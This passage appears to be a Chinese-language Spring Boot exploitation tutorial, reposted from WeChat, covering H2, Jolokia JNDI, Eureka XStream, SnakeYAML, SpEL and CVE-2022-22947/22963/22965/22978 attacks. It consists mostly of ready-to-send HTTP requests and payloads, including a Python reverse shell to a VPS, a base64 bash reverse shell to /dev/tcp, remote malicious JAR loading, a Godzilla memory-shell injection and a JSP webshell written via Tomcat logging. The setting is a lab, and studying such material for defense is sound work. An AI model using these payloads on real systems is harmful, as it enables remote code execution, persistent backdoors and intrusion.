java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.8.143

选择一个payload

执行

而且多次执行也是没问题的

利用TomcatEcho回显

0x07 restart h2 database query RCE

漏洞环境:repository/springboot-h2-database-rce

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /restart 接口重启应用

·存在 com.h2database.h2 依赖(版本要求暂未知)

漏洞复现

payload

value":"CREATE ALIAS T1 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T1('cmd','/c','calc');

第一步

设置spring.datasource.hikari.connection-test-query属性

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9096
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Referer: http://127.0.0.1:9096/h2-console/login.do?jsessionid=85a087335ef703becb8069a1509011b5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

第二步

重启应用

POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9096
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Referer: http://127.0.0.1:9096/h2-console/login.do?jsessionid=85a087335ef703becb8069a1509011b5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

要多次执行命令需要修改payload

在payload中的"T5"方法需要每次变更名称,才能被重新使用,否则下次restart重启应用漏洞不会被触发

DNSlog检测

修改payload执行DNSlog检测

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9096
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Referer: http://127.0.0.1:9096/h2-console/login.do?jsessionid=85a087335ef703becb8069a1509011b5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T2 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T2('cmd','/c','ping hhwkzbqvxd.dnstunnel.run');"}

0x08 jolokia Realm JNDI RCE

漏洞环境:springboot-jolokia-logback-rce

利用条件

·目标网站存在 /jolokia/actuator/jolokia 接口

·目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean

·目标可以请求攻击者的服务器(请求可出外网)

·普通JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

漏洞复现

第一步

访问 /jolokia/list 接口,查看是否存在type=MBeanFactorycreateJNDIRealm 关键词。

第二步

发送payload这里一共有五个步骤

1.创建 JNDIRealm

2.写入 connectionURL 为你的 RMI Service URL

3.写入 contextFactory 为 RegistryContextFactory

4.停止 Realm

5.启动 Realm 以触发 JNDI 注入

原文的利用方法是老版本,我本地环境是JDK8+所以复现失败。

后又找到了针对高版本的注入方式

工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

python脚本:https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py

python脚本中需要修改这两处的值

开启JNDI服务,这个工具存在多种版本的利用方式

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.8.143"

我这里选择:rmi://192.168.8.143:1099/d7bidi

第三步

使用python3 执行脚本

DNSlog检测

只需要修改对应的命令即可

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping zjzxfasklm.dnstunnel.run" -A "192.168.8.143"

0x09 jolokia logback JNDI RCE

漏洞环境:springboot-jolokia-logback-rce

利用条件

·目标网站存在 /jolokia/actuator/jolokia 接口

·目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean

·目标可以请求攻击者的服务器(请求可出外网)

·普通JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

漏洞复现

第一步

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL 关键词

第二步

假设恶意的JNDI服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.8.143

启动WEB服务并创建xml文件放在根目录

<configuration>
<insertFromJNDI env-entry-name="ldap://192.168.8.143:1389/TomcatBypass/Command/Base64/Y2FsYw==" as="appName" />
</configuration>

第三步

发送恶意数据包,需要修改的是http:!/!/vps!/xxx.xml

GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.8.143!/example.xml HTTP/1.1
Host: 127.0.0.1:9094
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0

这里的payload在JNDIExploit-1.4-SNAPSHOT选择

DNSlog检测

更改XML文件

<configuration>
<insertFromJNDI env-entry-name="ldap://192.168.8.143:1389/TomcatBypass/Command/Base64/cGluZyB6anp4ZmFza2xtLmRuc3R1bm5lbC5ydW4=" as="appName" />
</configuration>

替换payload发送数据包

GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.8.143!/example.xml HTTP/1.1
Host: 127.0.0.1:9094
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0

0x0A eureka xstream deserialization RCE

漏洞环境:springboot-eureka-xstream-rce

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

·目标使用的  eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)

·目标可以请求攻击者的 HTTP 服务器(请求可出外网)

漏洞复现

第一步

架设恶意XStream payload的网站

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
 <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/bin/bash</string>
                      <string>-c</string>
                      <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                   <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                   <class>java.lang.ProcessBuilder</class>
                   <name>start</name>
                   <parameter-types/>
                  </method>
                 <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
           <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
 </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

第二步

设置eureka.client.serviceUrl.defaultZone属性

POST /env HTTP/1.1
Host: 127.0.0.1:9093
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0

eureka.client.serviceUrl.defaultZone=http://192.168.8.143/example

属性值(地址)会在脚本中列出开放的端口

第三步

发送数据包,这里使用的是Spring 1.x 所以入口文件为/env

POST /env HTTP/1.1
Host: 127.0.0.1:9093
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0

eureka.client.serviceUrl.defaultZone=http://192.168.8.143/example

重启应用就会自动去解析恶意的外部地址

我这里将脚本稍微改了一下来执行命令

<command>
<string>cmd</string>
   <string>/C</string>
   <string>calc</string>
</command>

DNSlog检测

修改脚本中xml的配置,然后重启python服务即可

<command>
<string>cmd</string>
   <string>/C</string>
   <string>ping xkbzjhpkbb.dnstunnel.run</string>
</command>

目标机器会每隔几秒自动去解析依赖payload

0x0B spring cloud SnakeYAML RCE

漏洞环境:springcloud-snakeyaml-rce

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

·目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE

·目标可以请求攻击者的 HTTP 服务器(请求可出外网)

漏洞复现

第一步

寻找有spring-boot-starter-actuator的依赖

第二步

开启WEB服务,将yam文件放在根目录,并将恶意的jar文件一并放在根目录。修改URL地址为jar文件

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
    !!java.net.URL ["http://192.168.8.143/example.jar"]
  ]]
]

java恶意文件制作

打包命令

·javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件

·jar -cvf yaml-payload.jar -C src/ . //打包成jar包

payload地址:https://github.com/artsploit/yaml-payload

第三步

设置spring.cloud.bootstrap.location属性,漏洞环境使用的Spring 1.x

POST /env HTTP/1.1
Host: 127.0.0.1:9092
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

spring.cloud.bootstrap.location=http://192.168.8.143/example.yml

重启应用

POST /refresh HTTP/1.1
Host: 127.0.0.1:9092
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0

HTTP服务获取到访问记录

漏洞复现失败可能是因为本地java版本的原因

0x0C whitelabel error page SpEL RCE

漏洞环境:springboot-spel-rce

利用条件

·spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

·至少知道一个触发 springboot 默认错误页面的接口及参数名

漏洞复现

第一步

在源码中写了一个传参点,假如这就是需要的传参处

@RequestMapping("/article")
    public String hello(String id){
        int total = 100;
        String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
        return message;
    }

访问/article?id=123x,页面会状态码500

第二步

在传参点输入SpEL表达式

第三步

构造payload,将命令字符串格式转换成ASCII再转十六进制

# coding: utf-8

result = ""
target = 'calc'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

执行calc

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

DNSlog检测

修改payload

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x70,0x69,0x6e,0x67,0x20,0x69,0x65,0x6d,0x73,0x64,0x64,0x68,0x6a,0x77,0x6d,0x2e,0x64,0x6e,0x73,0x74,0x75,0x6e,0x6e,0x65,0x6c,0x2e,0x72,0x75,0x6e}))}

0x0D Spring Cloud Gateway Actuator API SpEL Code Injection

漏洞环境:vulhub/spring/CVE-2022-22947

利用条件

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

漏洞复现

使用docker搭建环境

第一步

访问actuator路由查看是否存在gateway路径

第二步

发送payload

{
"id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

创建路由表

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json

{
"id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

重启应用

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080

访问路由表

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080

删除路由表

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080

重启应用

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080

删除路由表之后再次访问

内存马注入

GMemShell内存马脚本

https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java

我这里创建了一个springboot的项目然后将java编译class文件,使用maven compile

然后使用脚本进行base64加密

@Test
    public void Test() throws IOException {
        String s = org.springframework.util.Base64Utils.encodeToString(FileReaderUtils.readOnce("src/main/java/com/ms/GMemShell.class"));
        System.out.println("---");
        System.out.println(s);
       System.out.println("---");
    }

如果依赖有问题,可以导入一下pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
   <modelVersion>4.0.0</modelVersion>
    <parent>
       <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-parent</artifactId>
       <version>2.7.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
   <groupId>com.example</groupId>
   <artifactId>demo</artifactId>
   <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
       <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
           <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
           <groupId>org.springframework.boot</groupId>
           <artifactId>spring-boot-starter-test</artifactId>
           <scope>test</scope>
        </dependency>
        <dependency>
           <groupId>org.springframework.cloud</groupId>
           <artifactId>spring-cloud-gateway-server</artifactId>
           <version>3.0.6</version>
        </dependency>
        <dependency>
           <groupId>org.springframework.cloud</groupId>
           <artifactId>spring-cloud-starter-gateway</artifactId>
           <version>3.0.6</version>
        </dependency>
        <dependency>
           <groupId>org.springframework.boot</groupId>
           <artifactId>spring-boot-starter-actuator</artifactId>
           <version>2.5.9</version>
        </dependency>
        <dependency>
           <groupId>junit</groupId>
           <artifactId>junit</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
               <groupId>org.springframework.boot</groupId>
               <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

发送请求的payload,需要修改的有'com.example.GMemShell'decodeFromString('base64编码后的内存马粘贴到此处')注意复制payload的时候最后的换行去掉,我在这里卡了半天。还有gmem这两处要对应上

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 11039

{
"predicates":[{"name": "Path",
"args":{"_genkey_0":"/gmem/**"}
}
],
"id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('base64编码后的内存马粘贴到此处'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"
    }
  }],
  "uri": "http://test.com"
}

刷新配置

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0

使用哥斯拉连接。

如果想设置其他密码可以在源码中设置,直接修改pass即可

0x0E Spring Cloud Function SpEL

漏洞环境:vulhub/spring/CVE-2022-22963

利用条件

·3.0.0 <= Spring Cloud Function <= 3.2.2

漏洞复现

访问服务并抓包,POST 请求functionRouter路由。在header中添加表达式

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("命令")

在docker中查看执行成功

反弹shell

制作反弹shellpayload

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")

0x0F CVE-2022-22965 Spring Framework RCE

漏洞环境:vulnhub/spring/CVE-2022-22965

利用条件

·Spring Framework 5.3.18+ 5.2.20+

·Apache Tomcat作为Servlet容器;

·使用JDK9及以上版本的Spring MVC框架;

·Spring框架以及衍生的框架spring-beans-*.jar文件或者存在;

漏洞复现

漏洞检测

/?class.module.classLoader.defaultAssertionStatus=111

网上的利用链

class.module.classLoader.resources.context.parent.pipeline.first.pattern=构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=文件日期格式(实际构造为空值即可)

GET方式

发送数据包请求

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22965&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 127.0.0.1:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: Idea-9cbcf82d=e4f41750-5798-445b-8a6d-aaab7d3ddca2; _jspxcms=a03c2bb4873e46798f25693bcbf2964d
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

执行命令

http://localhost:8080/22965.jsp?pwd=j&cmd=id

注意,你需要在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

0x0G Spring Security Authorization Bypass in RegexRequestMatcher

漏洞环境:https://github.com/XuCcc/VulEnv/tree/master/springboot/cve_2022_22978

利用条件

·Spring Security 5.5.x < 5.5.7

·Spring Security 5.6.x < 5.6.4

漏洞复现

环境搭建之后访问8080端口进入网站

看AuthConfig源码有一层身份认证

正常访问/admin会跳转到/login

使用%0a绕过权限认证

Spring boot 综合利用工具

SpringBootExploit:

https://github.com/0x727/SpringBootExploit/releases/tag/1.3

JNDIExploit:这个版本是1.3

https://github.com/0x727/JNDIExploit

也可以下载JNDIExploit增强版

https://github.com/WhiteHSBG/JNDIExploit

使用方法

开启监听

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1

使用GUI工具连接,接着就可以使用利用链

检测环境

使用利用链

这里增强版和原版在注入内存马有点问题,使用原版可以连接

HeapDump敏感信息提取工具

JDumpSpider

工具地址:https://github.com/whwlsfb/JDumpSpider

使用方法:

java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump

Eclipse Memory Analyzer 工具

环境需要JDK11+

https://www.eclipse.org/mat/downloads.php


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653585880&idx=1&sn=27b7647eba30cf468cf74f2530873f04&chksm=811b979ab66c1e8c7bfd66bcae276366800982cea9878f0c4d8f705a2dddb4c3c547f5d05fff#rd
如有侵权请联系:admin#unsafe.sh